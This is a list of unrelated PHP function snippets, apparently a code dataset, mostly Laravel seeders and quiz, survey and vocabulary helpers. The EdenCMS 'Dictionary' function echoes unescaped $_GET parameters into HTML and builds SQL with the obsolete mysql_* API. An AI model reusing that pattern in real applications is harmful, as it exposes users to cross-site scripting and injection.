"public function run() {\n $a = new \\App\\Models\\Answer();\n $a->text = 'Scripting Language';\n $a->is_correct = false;\n $a->question_id = 1;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Markup Language';\n $a->is_correct = true;\n $a->question_id = 1;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Programming Language';\n $a->is_correct = false;\n $a->question_id = 1;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Network Protocol';\n $a->is_correct = false;\n $a->question_id = 1;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<html>';\n $a->is_correct = false;\n $a->question_id = 2;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<!doctype html>';\n $a->is_correct = true;\n $a->question_id = 2;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<title>';\n $a->is_correct = false;\n $a->question_id = 2;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<head>';\n $a->is_correct = false;\n $a->question_id = 2;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Picture';\n $a->is_correct = false;\n $a->question_id = 3;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Image';\n $a->is_correct = false;\n $a->question_id = 3;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Src';\n $a->is_correct = false;\n $a->question_id = 3;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Img';\n $a->is_correct = true;\n $a->question_id = 3;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Compiler';\n $a->is_correct = false;\n $a->question_id = 4;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Interpreter';\n $a->is_correct = false;\n $a->question_id = 4;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Web Browser';\n $a->is_correct = true;\n $a->question_id = 4;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Server';\n $a->is_correct = false;\n $a->question_id = 4;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<break />';\n $a->is_correct = false;\n $a->question_id = 5;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<nbsp>';\n $a->is_correct = false;\n $a->question_id = 5;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<lb />';\n $a->is_correct = false;\n $a->question_id = 5;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<br />';\n $a->is_correct = true;\n $a->question_id = 5;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<a href=\"http://example.com\">MCQ Sets Quiz</a>';\n $a->is_correct = true;\n $a->question_id = 6;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<http://example.com</a>';\n $a->is_correct = false;\n $a->question_id = 6;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<a name=\"http://example.com\">MCQ Sets Quiz</a>';\n $a->is_correct = false;\n $a->question_id = 6;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'url=\"http://example.com\">MCQ Sets Quiz';\n $a->is_correct = false;\n $a->question_id = 6;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Special binary format';\n $a->is_correct = false;\n $a->question_id = 7;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'Machine language codes';\n $a->is_correct = false;\n $a->question_id = 7;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'ASCII text';\n $a->is_correct = true;\n $a->question_id = 7;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = 'None of above';\n $a->is_correct = false;\n $a->question_id = 7;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<checkbox>';\n $a->is_correct = false;\n $a->question_id = 8;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<input checkbox>';\n $a->is_correct = false;\n $a->question_id = 8;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<input=checkbox>';\n $a->is_correct = false;\n $a->question_id = 8;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<input type=\"checkbox\">';\n $a->is_correct = true;\n $a->question_id = 8;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<heading>';\n $a->is_correct = false;\n $a->question_id = 9;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<head>';\n $a->is_correct = false;\n $a->question_id = 9;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<h1>';\n $a->is_correct = false;\n $a->question_id = 9;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<h6>';\n $a->is_correct = true;\n $a->question_id = 9;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<video src \"URL\"></video>';\n $a->is_correct = false;\n $a->question_id = 10;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<video src=\"URL\"></video>';\n $a->is_correct = true;\n $a->question_id = 10;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<video></video>';\n $a->is_correct = false;\n $a->question_id = 10;\n $a->save();\n\n $a = new \\App\\Models\\Answer();\n $a->text = '<video src:\"URL\"></video>';\n $a->is_correct = false;\n $a->question_id = 10;\n $a->save();\n }",
"function get_correct_answer(){\n return $this->correct_answer;\n }",
"function Dictionary(){\n\t\n\tglobal $db_dictionary;\n\tglobal $eden_cfg;\n\t\n\t$_GET['mode'] = AGet($_GET,'mode');\n\t\n\techo \"<table class=\\\"eden_dictionary\\\" cellspacing=\\\"2\\\" cellpadding=\\\"1\\\">\\n\";\n\tif ($_GET['mode'] == \"dict_add_word\" || $_GET['mode'] == \"dict_add_rev\" && $_SESSION['loginid'] != \"\"){\n\t\techo \"<tr>\\n\";\n\t\techo \"\t<td align=\\\"left\\\" colspan=\\\"3\\\">\\n\";\n\t\techo \"\t\t<table cellspacing=\\\"2\\\" cellpadding=\\\"2\\\" border=\\\"0\\\">\\n\";\n\t\techo \"\t\t\t<tr>\\n\";\n\t\techo \"\t\t\t\t<td align=\\\"right\\\" valign=\\\"top\\\"><form action=\\\"\".$eden_cfg['url_edencms'].\"eden_save.php?lang=\".$_GET['lang'].\"&filter=\".$_GET['filter'].\" method=\\\"post\\\" enctype=\\\"multipart/form-data\\\"><strong>\"._DICT_WORD.\"</strong></td>\\n\";\n\t\techo \"\t\t\t\t<td align=\\\"left\\\"><input type=\\\"text\\\" name=\\\"dictionary_word\\\" maxlength=\\\"255\\\" size=\\\"60\\\"></td>\\n\";\n\t\techo \"\t\t\t</tr>\\n\";\n\t\techo \"\t\t\t<tr>\\n\";\n\t\techo \"\t\t\t\t<td align=\\\"right\\\" valign=\\\"top\\\"><strong>\"._DICT_WORD_DESC.\"</strong></td>\\n\";\n\t\techo \"\t\t\t\t<td align=\\\"left\\\"><textarea name=\\\"dictionary_word_description\\\" rows=\\\"8\\\" cols=\\\"50\\\"></textarea><br>\\n\";\n\t\techo \"\t\t\t\t\t<input type=\\\"submit\\\" value=\\\"\"; if ($_GET['mode'] == \"dict_add_word\"){echo _DICT_ADD_WORD;} else {echo _DICT_ADD_REV;} echo\"\\\" class=\\\"eden_button\\\">\\n\";\n\t\techo \"\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"mode\\\" value=\\\"\".$_GET['mode'].\"\\\">\\n\";\n\t\techo \"\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"confirm\\\" value=\\\"true\\\">\\n\";\n\t\techo \"\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"project\\\" value=\\\"\".$_SESSION['project'].\"\\\">\\n\";\n\t\techo \"\t\t\t\t\t</form>\\n\";\n\t\techo \"\t\t\t\t</td>\\n\";\n\t\techo \"\t\t\t</tr>\\n\";\n\t\techo \"\t\t</table>\\n\";\n\t\techo \"\t</td>\\n\";\n\t\techo \"</tr>\\n\";\n\t}\n\techo \"\t<tr>\\n\";\n\techo \"\t\t<td align=\\\"left\\\" colspan=\\\"3\\\">\".Alphabeth('index.php?action=dict&letter=','');\tif ($_SESSION['loginid'] != \"\"){ echo \" <a href=\\\"index.php?action=dict&lang=\".$_GET['lang'].\"&filter=\".$_GET['filter'].\"&mode=dict_add_word\\\">\"._DICT_ADD.\"</a>\"; } echo \"</td>\\n\";\n\techo \"\t</tr>\\n\";\n\techo \"\t<tr class=\\\"eden_dictionary\\\">\\n\";\n\techo \"\t\t<td class=\\\"eden_dictionary_title_word\\\">\"._DICT_TITLE_WORD.\"</td>\\n\";\n\techo \"\t\t<td class=\\\"eden_dictionary_title_author\\\">\"._DICT_TITLE_AUTHOR.\"</td>\\n\";\n\techo \"\t\t<td class=\\\"eden_dictionary_title_date\\\">\"._DICT_TITLE_DATE.\"</td>\\n\";\n\techo \"\t</tr>\\n\";\n\tif (AGet($_GET,'letter') == \"Other\"){$like2 = \"REGEXP\";} elseif (AGet($_GET,'letter') != \"\"){$like2 = \"LIKE\";} else {$like2 = FALSE;}\n\tif (AGet($_GET,'letter') != \"All\"){ $like = \"AND dictionary_word \".$like2.\" \".AlphabethSelect(mysql_real_escape_string(AGet($_GET,'letter')), \"dictionary_word\");}\n\tif (AGet($_GET,'id') != \"\"){$like = \"AND dictionary_id=\".(integer)AGet($_GET,'id');}// else { $word = preg_replace(\"/[^a-z0-9 ]/si\",\"\",$_GET['word']); $like = \"AND dictionary_word LIKE '\".$word.\"%'\";}\n\t$res = mysql_query(\"SELECT dictionary_id, dictionary_author_id, dictionary_word, dictionary_word_description, dictionary_date FROM $db_dictionary WHERE dictionary_parent_id=0 AND dictionary_allow=1 $like ORDER BY dictionary_word ASC\") or die (\"<strong>File:</strong> \".__FILE__.\"<br /><strong>Line:</strong>\".__LINE__.\"<br />\".mysql_error());\n\t$cislo = 0;\n\twhile($ar = mysql_fetch_array($res)){\n\t\tif ($cislo % 2 == 0){$class = \"suda\";} else { $class = \"licha\";}\n\t\techo \"\t<tr class=\\\"\".$class.\"\\\">\\n\";\n\t\techo \"\t\t<td class=\\\"eden_dictionary_word\\\"><a href=\\\"\".$eden_cfg['url'].\"index.php?action=dict&id=\".$ar['dictionary_id'].\"&letter=\".AGet($_GET,'letter').\"&mode=\"; if ($_GET['mode'] == \"open\"\t&& AGet($_GET,'id') == $ar['dictionary_id'] ){echo \"close\";}else{ echo \"open\";} echo \"\\\" class=\\\"eden_hintanchor\\\" onMouseover=\\\"ShowHintText('\".addcslashes($ar['dictionary_word_description'],\"\\0..\\37!@\\40..\\41\").\"', this, event, '450px')\\\">\".$ar['dictionary_word'].\"</a></td>\\n\";\n\t\techo \"\t\t<td class=\\\"eden_dictionary_author\\\">\".GetNickName($ar['dictionary_author_id']).\"</td>\\n\";\n\t\techo \"\t\t<td class=\\\"eden_dictionary_date\\\">\".FormatDatetime($ar['dictionary_date'],$format = \"d.m.Y\").\"</td>\\n\";\n\t\techo \"\t</tr>\\n\"; \n\t\tif ($_GET['mode'] == \"open\" && AGet($_GET,'id') == $ar['dictionary_id']){\n\t\t\techo \"\t<tr>\\n\";\n\t\t\techo \"\t\t<td class=\\\"eden_dictionary_desc\\\" colspan=\\\"3\\\">\".$ar['dictionary_word_description'].\"</td>\\n\";\n\t\t\techo \"\t</tr>\\n\"; \n\t\t}\n\t\t$cislo++;\n\t}\n\techo \"</table>\\n\";\n}",
"public function getReasonPhrase() {}",
"public function ShowsInLanguages()\n\t{\t$speaks = array();\n\t\t$sql = 'SELECT lang FROM homebanner_speak WHERE hbid=' . (int)$this->id;\n\t\tif ($result = $this->db->Query($sql))\n\t\t{\twhile ($row = $this->db->FetchArray($result))\n\t\t\t{\t$speaks[$row['lang']] = $row['lang'];\n\t\t\t}\n\t\t}\n\t\treturn $speaks;\n\t}",
"function answer()\r\n {\r\n //option 1) check for already defined\r\n if (strlen($this->Answer)) {\r\n return $this->Answer;\r\n }\r\n\r\n $http = eZHTTPTool::instance();\r\n $prefix = eZSurveyType::PREFIX_ATTRIBUTE;\r\n\r\n //option 2) check for answer in $_POST (trick from processViewAction or normal post)\r\n $postSurveyAnswer = $prefix . '_ezsurvey_answer_' . $this->ID . '_' . $this->contentObjectAttributeID();\r\n if ($http->hasPostVariable($postSurveyAnswer) && strlen($http->postVariable($postSurveyAnswer))) {\r\n $surveyAnswer = $http->postVariable($postSurveyAnswer);\r\n\r\n return $surveyAnswer;\r\n }\r\n\r\n return $this->Default;\r\n }",
"public function run()\n {\n DB::table('vocabularies')->insert([\n [\n 'id' => 1,\n 'word' => 'Accommodate',\n 'pronunciation' => 'əˈkɑːmədeɪt',\n 'meaning'=>'đáp ứng, cung cấp chỗ ở',\n 'image' => 'public/word1.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound1.mp3',\n 'topic_id' => 1\n \n ],[\n 'id' => 2,\n 'word' => 'Arrange',\n 'pronunciation' => 'əˈreɪndʒ',\n 'meaning'=>'sắp xếp',\n 'image' => 'public/word2.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound2.mp3',\n 'topic_id' => 1\n \n ],[\n 'id' => 3,\n 'word' => 'Associate',\n 'pronunciation' => 'əˈsoʊʃieɪt',\n 'meaning'=>'liên tưởng, liên kết',\n 'image' => 'public/word3.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound3.mp3',\n 'topic_id' => 1\n \n ],[\n 'id' => 4,\n 'word' => 'Disk',\n 'pronunciation' => 'disk',\n 'meaning'=>'đĩa, ổ đĩa',\n 'image' => 'public/word11.png',\n 'verb_form' => 'noun',\n 'sound' => 'public/sound11.mp3',\n 'topic_id' => 2\n \n ],[\n 'id' => 5,\n 'word' => 'facilitate',\n 'pronunciation' => 'fəˈsɪlɪteɪt',\n 'meaning'=>'tạo điều kiện thuận lợi\n ',\n 'image' => 'public/word12.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound12.mp3',\n 'topic_id' => 2\n \n ],[\n 'id' => 6,\n 'word' => 'Network',\n 'pronunciation' => 'ˈnetwɜːrk',\n 'meaning'=>'kết nối\n ',\n 'image' => 'public/word13.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound13.mp3',\n 'topic_id' => 2\n \n ],[\n 'id' => 7,\n 'word' => 'Popularize',\n 'pronunciation' => 'ˈpɑːpjələraɪz',\n 'meaning'=>'làm cho phổ biến',\n 'image' => 'public/word14.png',\n 'verb_form' => 'verb',\n 'sound' => 'public/sound14.mp3',\n 'topic_id' => 2\n \n ]\n ]\n );\n }",
"public function run()\n {\n function loaibotiengvietTeacher ($str){\n\n $unicode = array(\n\n 'a'=>'á|à|ả|ã|ạ|ă|ắ|ặ|ằ|ẳ|ẵ|â|ấ|ầ|ẩ|ẫ|ậ',\n\n 'd'=>'đ',\n\n 'e'=>'é|è|ẻ|ẽ|ẹ|ê|ế|ề|ể|ễ|ệ',\n\n 'i'=>'í|ì|ỉ|ĩ|ị',\n\n 'o'=>'ó|ò|ỏ|õ|ọ|ô|ố|ồ|ổ|ỗ|ộ|ơ|ớ|ờ|ở|ỡ|ợ',\n\n 'u'=>'ú|ù|ủ|ũ|ụ|ư|ứ|ừ|ử|ữ|ự',\n\n 'y'=>'ý|ỳ|ỷ|ỹ|ỵ',\n\n 'A'=>'Á|À|Ả|Ã|Ạ|Ă|Ắ|Ặ|Ằ|Ẳ|Ẵ|Â|Ấ|Ầ|Ẩ|Ẫ|Ậ',\n\n 'D'=>'Đ',\n\n 'E'=>'É|È|Ẻ|Ẽ|Ẹ|Ê|Ế|Ề|Ể|Ễ|Ệ',\n\n 'I'=>'Í|Ì|Ỉ|Ĩ|Ị',\n\n 'O'=>'Ó|Ò|Ỏ|Õ|Ọ|Ô|Ố|Ồ|Ổ|Ỗ|Ộ|Ơ|Ớ|Ờ|Ở|Ỡ|Ợ',\n\n 'U'=>'Ú|Ù|Ủ|Ũ|Ụ|Ư|Ứ|Ừ|Ử|Ữ|Ự',\n\n 'Y'=>'Ý|Ỳ|Ỷ|Ỹ|Ỵ',\n\n );\n\n foreach($unicode as $nonUnicode=>$uni){\n\n $str = preg_replace(\"/($uni)/i\", $nonUnicode, $str);\n\n }\n\n return $str;\n\n }\n// DB::table('teachers') -> truncate();\n $firstName = ['Nguyễn','Chu','Vương','Nhiếp','Trần','Hoàng','Lê','Lý','Mai','Phạm'];\n $surName = ['Nhật','Bảo','Mỹ','Minh','Bá','','Thanh'];\n $lastName = ['Sang','Vượng','Hoàng','Hùng','Điệp','Anh','Chi','Hương','Tươi'];\n for ($i=0;$i<20;$i++){\n $name1 = $firstName[mt_rand(0,count($firstName)-1)];\n $name2 = $surName[mt_rand(0,count($surName )- 1)];\n $name3 = $lastName[mt_rand(0,count($lastName )- 1)];\n DB::table('teachers')->insert([\n [\n\n 'teacherName' => $name1.' '.$name2.' '.$name3,\n 'joiningDate' =>'2017-'.mt_rand(1,12).'-'.mt_rand(1,28),\n 'email' => loaibotiengvietTeacher($name1).loaibotiengvietTeacher($name2).loaibotiengvietTeacher($name3).mt_rand(1000,9000).'@gmail.com',\n 'address' => str_random(10),\n 'gender' => mt_rand(0,1),\n 'dateOfBirth' => '19'.mt_rand(80,94).'-'.mt_rand(1,12).'-'.mt_rand(1,28),\n 'phone' => '0'.mt_rand(0,9).mt_rand(0,9).mt_rand(0,9).mt_rand(0,9).mt_rand(0,9).mt_rand(0,9).mt_rand(0,9).mt_rand(0,9),\n 'created_at' => \\Illuminate\\Support\\Carbon::now(),\n 'updated_at' => \\Illuminate\\Support\\Carbon::now(),\n ],\n\n ]);\n }\n\n }",
"public function run()\n {\n TypeAnswer::truncate();\n\n TypeAnswer::create([\n 'name' => 'Текст',\n ]);\n\n TypeAnswer::create([\n 'name' => 'Фото',\n ]);\n\n TypeAnswer::create([\n 'name' => 'Видео',\n ]);\n\n TypeAnswer::create([\n 'name' => 'Аудио',\n ]);\n }",
"public function getQuestionText()\n {\n return Html::encode($this->text);\n }",
"public function run()\n {\n $about = [\n [\n 'title' => 'Quizás muchos pueden llegar a preguntarse como empezó a reunirse Centro Refugio Hefzi-bá.',\n \n 'content' => 'Pues aquí les cuento nuestros inicios. \n A principio del año 1998 en mi casa nos comenzamos a reunir mi esposa Nelly y yo con un grupo de\n hermanos a los cuales yo los había pastoreado un tiempo atrás, en una congregación de la localidad del\n Socorro en Valencia, Vzla. Pero debido que tenían tiempo que su congregación no funcionó mas, nos pidieron a\n Nelly y a mí si les podíamos pastorear, oramos a Dios y después de Él nos dió su respuesta de que si lo hiciéramos,\n empezamos a reunirnos.\n Después de varios días de reuniones, nos surgió la pregunta de como llamaríamos a la congregación que estaba\n naciendo. Dios nos llevó al libro de Isaías cap. 62 vers. 2 al 4 y allí nos decía que Él se deleitaba con la\n nueva congregación y por eso le debíamos poner HEFZI-BÁ, inmediatamente hubo la conexión divina de nosotros\n con el nombre que Dios nos había colocado como su pueblo que eramos.\n Is. 62,2-4: \"Entonces las naciones verán tu justicia,\n Y todos los reyes, tu gloria.\n Y te será dado un nombre nuevo,\n Que la boca de YHVH pronunciará.\n 3 Serás corona fúlgida en la mano de\n YHVH,\n Y diadema real en la palma de tu\n Dios.\n 4 Nunca más serás llamada la\n Desamparada,\n Ni tu tierra, la Desolada,\n Sino que serás llamada Hefzi-bá,° y\n tu país, Beula,°\n Porque el amor de YHVH estará\n contigo\n Y tu tierra tendrá marido,\"\n Así fueron nuestros inicios como congregación y ahora obedecemos a Dios y esperamos la segunda venida de\n nuestro Rey y Salvador Jesús.\n Mientras tanto hacemos su voluntad accionando en el ministerio de la reconciliación que Jesús nos dejo.\n ',\n \n 'img' => 'founder.jpg',\n \n 'url_video' => 'admin@admin',\n ],\n ];\n\n foreach ($about as $item) {\n Historyabout::create( $item );\n }\n }",
"private function _saveVocabularies(){\n $db = get_db();\n $fVs = include 'formal_vocabularies.php';\n $irp = $db->getTable('ItemRelationsProperty');\n $irv = $db->getTable('ItemRelationsVocabulary');\n \n foreach ($fVs as $fV) {\n \n echo $fV['name'];\n \n \n //check for existing vocab\n $found = $irv->findBySql('name = ? ', array($fV['name']));\n \n \n $vocab = !isset($found[0]) ? new ItemRelationsVocabulary() : $found[0];\n \n $vocab->name = $fV['name'];\n $vocab->custom = 0;\n $vocab->description = $fV['description'];\n $vocab->namespace_uri = $fV['namespace_uri'];\n $vocab->namespace_prefix = $fV['namespace_prefix'];\n \n $vocab->save();\n \n foreach ($fV['properties'] as $fP) {\n \n //check for existing property\n $found = $irp->findBySql('local_part = ? ',array($fP['local_part']));\n $prop = !isset($found[0]) ? new ItemRelationsProperty() : $found[0];\n \n $prop->vocabulary_id = $vocab->id;\n $prop->description = $fP['description'];\n $prop->local_part = $fP['local_part'];\n $prop->label = $fP['label'];\n \n $prop->save();\n \n debug(sprintf(\"saved property %s in vocabulary %s\", $prop->local_part, $vocab->name)); \n \n }\n \n \n \n }\n }",
"public function view() {\n\t\t$quiz = $this->__quiz;\n\n\t\t// 基本的には自分の履歴を見ようとしていることが前提\n\t\t// 初期表示のテスト一覧から結果を見ようとしている=つまり編集権限は無し、自分のデータを見るパターン\n\t\t$userId = Current::read('User.id');\n\t\t$handleName = Current::read('User.handlename');\n\n\t\t// サマリIDが指定されているときだけが、上記の前提から異なる可能性があるパターン\n\t\t// 成績一覧画面(quiz_result/index)からこの画面へ来たときの遷移\n\t\t// この時は対象人物が自分ではないので適宜設定しなおす\n\t\t// サマリID\n\t\t$summaryId = null;\n\t\tif (isset($this->params['pass'][0])) {\n\t\t\t$summaryId = $this->params['pass'][0];\n\t\t\t$summary = $this->QuizAnswerSummary->findById($summaryId);\n\t\t\tif (! $summary) {\n\t\t\t\t$this->setAction('throwBadRequest');\n\t\t\t}\n\t\t\t$userId = $summary['QuizAnswerSummary']['user_id'];\n\t\t\t$handleName = $summary['User']['handlename'];\n\t\t}\n\n\t\tif (! $handleName) {\n\t\t\t$handleName = __d('quizzes', 'Guest');\n\t\t}\n\n\t\t// 採点する権限を持っていないなら 自分自身のデータであることが必要\n\t\t$canGrade = $this->canGrade($quiz);\n\t\tif (! $canGrade && $summaryId) {\n\t\t\t// 自分の?\n\t\t\tif (! $this->QuizzesOwnAnswer->checkOwnAnsweredSummaryId($summaryId)) {\n\t\t\t\t$this->setAction('throwBadRequest');\n\t\t\t}\n\t\t}\n\t\t// 初期設定\n\t\t$this->QuizResult->initResult($quiz);\n\t\t// 統合情報取得\n\t\t$general = $this->QuizResult->getAllResult();\n\n\t\t// 得点推移データ取得\n\t\t// そのサマリIDに該当する人物のサマリ履歴を取得する\n\t\t$scoreHistory = $this->_getScoreHistory($quiz, $userId, $summaryId);\n\n\t\t$conditions = array(\n\t\t\t'quiz_key' => $quiz['Quiz']['key'],\n\t\t);\n\t\tif ($userId) {\n\t\t\t$conditions['user_id'] = $userId;\n\t\t} else {\n\t\t\t// 非会員\n\t\t\t// サマリID指定\n\t\t\tif ($summaryId) {\n\t\t\t\t$conditions['id'] = $summaryId;\n\t\t\t} else {\n\t\t\t\t$conditions['id'] = $this->QuizzesOwnAnswer->getAnsweredSummaryIds();\n\t\t\t}\n\t\t}\n\t\t$this->paginate = array(\n\t\t\t'conditions' => $conditions,\n\t\t\t'page' => 1,\n\t\t\t'order' => array('QuizAnswerSummary.answer_number' => 'DESC'),\n\t\t\t'limit' => 10,\n\t\t\t'recursive' => -1,\n\t\t);\n\t\t$summaryList = $this->paginate('QuizAnswerSummary');\n\n\t\t$this->set('quiz', $quiz);\n\t\t$this->set('userId', $userId);\n\t\t$this->set('handleName', $handleName);\n\t\t$this->set('general', $general);\n\t\t$this->set('summaryList', $summaryList);\n\t\t$this->set('scoreHistory', $scoreHistory);\n\t}",
"public static function stopwords() {\n\n\t\t$stopwords = array(\n\t\t\t'au',\n\t\t\t'aux',\n\t\t\t'avec',\n\t\t\t'ce',\n\t\t\t'ces',\n\t\t\t'dans',\n\t\t\t'de',\n\t\t\t'des',\n\t\t\t'du',\n\t\t\t'elle',\n\t\t\t'en',\n\t\t\t'et',\n\t\t\t'eux',\n\t\t\t'il',\n\t\t\t'je',\n\t\t\t'la',\n\t\t\t'le',\n\t\t\t'leur',\n\t\t\t'lui',\n\t\t\t'ma',\n\t\t\t'mais',\n\t\t\t'me',\n\t\t\t'même',\n\t\t\t'mes',\n\t\t\t'moi',\n\t\t\t'mon',\n\t\t\t'ne',\n\t\t\t'nos',\n\t\t\t'notre',\n\t\t\t'nous',\n\t\t\t'on',\n\t\t\t'ou',\n\t\t\t'par',\n\t\t\t'pas',\n\t\t\t'pour',\n\t\t\t'qu',\n\t\t\t'que',\n\t\t\t'qui',\n\t\t\t'sa',\n\t\t\t'se',\n\t\t\t'ses',\n\t\t\t'son',\n\t\t\t'sur',\n\t\t\t'ta',\n\t\t\t'te',\n\t\t\t'tes',\n\t\t\t'toi',\n\t\t\t'ton',\n\t\t\t'tu',\n\t\t\t'un',\n\t\t\t'une',\n\t\t\t'vos',\n\t\t\t'votre',\n\t\t\t'vous',\n\t\t\t'c',\n\t\t\t'd',\n\t\t\t'j',\n\t\t\t'l',\n\t\t\t'à',\n\t\t\t'm',\n\t\t\t'n',\n\t\t\t's',\n\t\t\t't',\n\t\t\t'y',\n\t\t\t'été',\n\t\t\t'étée',\n\t\t\t'étées',\n\t\t\t'étés',\n\t\t\t'étant',\n\t\t\t'étante',\n\t\t\t'étants',\n\t\t\t'étantes',\n\t\t\t'suis',\n\t\t\t'es',\n\t\t\t'est',\n\t\t\t'sommes',\n\t\t\t'êtes',\n\t\t\t'sont',\n\t\t\t'serai',\n\t\t\t'seras',\n\t\t\t'sera',\n\t\t\t'serons',\n\t\t\t'serez',\n\t\t\t'seront',\n\t\t\t'serais',\n\t\t\t'serait',\n\t\t\t'serions',\n\t\t\t'seriez',\n\t\t\t'seraient',\n\t\t\t'étais',\n\t\t\t'était',\n\t\t\t'étions',\n\t\t\t'étiez',\n\t\t\t'étaient',\n\t\t\t'fus',\n\t\t\t'fut',\n\t\t\t'fûmes',\n\t\t\t'fûtes',\n\t\t\t'furent',\n\t\t\t'sois',\n\t\t\t'soit',\n\t\t\t'soyons',\n\t\t\t'soyez',\n\t\t\t'soient',\n\t\t\t'fusse',\n\t\t\t'fusses',\n\t\t\t'fût',\n\t\t\t'fussions',\n\t\t\t'fussiez',\n\t\t\t'fussent',\n\t\t\t'ayant',\n\t\t\t'ayante',\n\t\t\t'ayantes',\n\t\t\t'ayants',\n\t\t\t'eu',\n\t\t\t'eue',\n\t\t\t'eues',\n\t\t\t'eus',\n\t\t\t'ai',\n\t\t\t'as',\n\t\t\t'avons',\n\t\t\t'avez',\n\t\t\t'ont',\n\t\t\t'aurai',\n\t\t\t'auras',\n\t\t\t'aura',\n\t\t\t'aurons',\n\t\t\t'aurez',\n\t\t\t'auront',\n\t\t\t'aurais',\n\t\t\t'aurait',\n\t\t\t'aurions',\n\t\t\t'auriez',\n\t\t\t'auraient',\n\t\t\t'avais',\n\t\t\t'avait',\n\t\t\t'avions',\n\t\t\t'aviez',\n\t\t\t'avaient',\n\t\t\t'eut',\n\t\t\t'eûmes',\n\t\t\t'eûtes',\n\t\t\t'eurent',\n\t\t\t'aie',\n\t\t\t'aies',\n\t\t\t'ait',\n\t\t\t'ayons',\n\t\t\t'ayez',\n\t\t\t'aient',\n\t\t\t'eusse',\n\t\t\t'eusses',\n\t\t\t'eût',\n\t\t\t'eussions',\n\t\t\t'eussiez',\n\t\t\t'eussent',\n\t\t);\n\n\t\treturn $stopwords;\n\t}",
"function lang()\n\t{\n\t\t$lang = (empty($_COOKIE['lang'])) ? 'italiano' : $_COOKIE['lang'];\n\t\t$this->lang=$lang;\n\t\t$this->lang_frequency=$lang.$this->lang_frequency_suffix;\n\t\t\n\t\t\n\n\t\t$n=\"\";\n\t\t$i=1;\n\t\twhile (isset($_COOKIE['lang'.$n]))\n\t\t{\n\t\t\t$i++;\n\t\t\t\t\n\t\t\t$this->lang_a[$i][0]=$_COOKIE['lang'.$n];\n\t\t\t$this->lang_a[$i][1]=$_COOKIE['lang'.$n].\"_frequency\"; //Non sò a cosa serva però...\n\t\t\t$n=$i;\n\t\t}\n\n\t\n\t\n\t\n\t}",
"function warquest_poll_text($vote) {\r\n\t\r\n\tif ($vote==1) {\r\n\t\treturn t('POLL_VOTE');\r\n\t} else {\r\n\t\treturn t('POLL_VOTES');\r\n\t}\r\n}",
"function showAnswers()\n\t{\n\t\tif($this->TotalAnswers != 1){$s = 's';}else{$s = '';} #add 's' only if NOT one!!\n\t\techo \"<em>[\" . $this->TotalAnswers . \" answer\" . $s . \"]</em> \"; \n\t\tforeach($this->aAnswer as $answer)\n\t\t{#print data for each\n\t\t\techo \"<em>(\" . $answer->AnswerID . \")</em> \";\n\t\t\techo $answer->Text . \" \";\n\t\t\tif($answer->Description != \"\")\n\t\t\t{#only print description if not empty\n\t\t\t\techo \"<em>(\" . $answer->Description . \")</em>\";\n\t\t\t}\n\t\t}\n\t\tprint \"<br />\";\n\t}",
"function ExtendedText_Question( $id ) {\n\t\t\n\t\tparent::Question( $id );\n\t}",
"public function textKontrolEt($veri)\r\n{\r\n \r\n $ifade = '/[a-zA-ZçığöşüÇĞİÖŞÜ ]+$/i'; //Türkçe Uyumlu\r\n $islem= preg_match($ifade, $veri);\r\n return $islem;\r\n \r\n}",
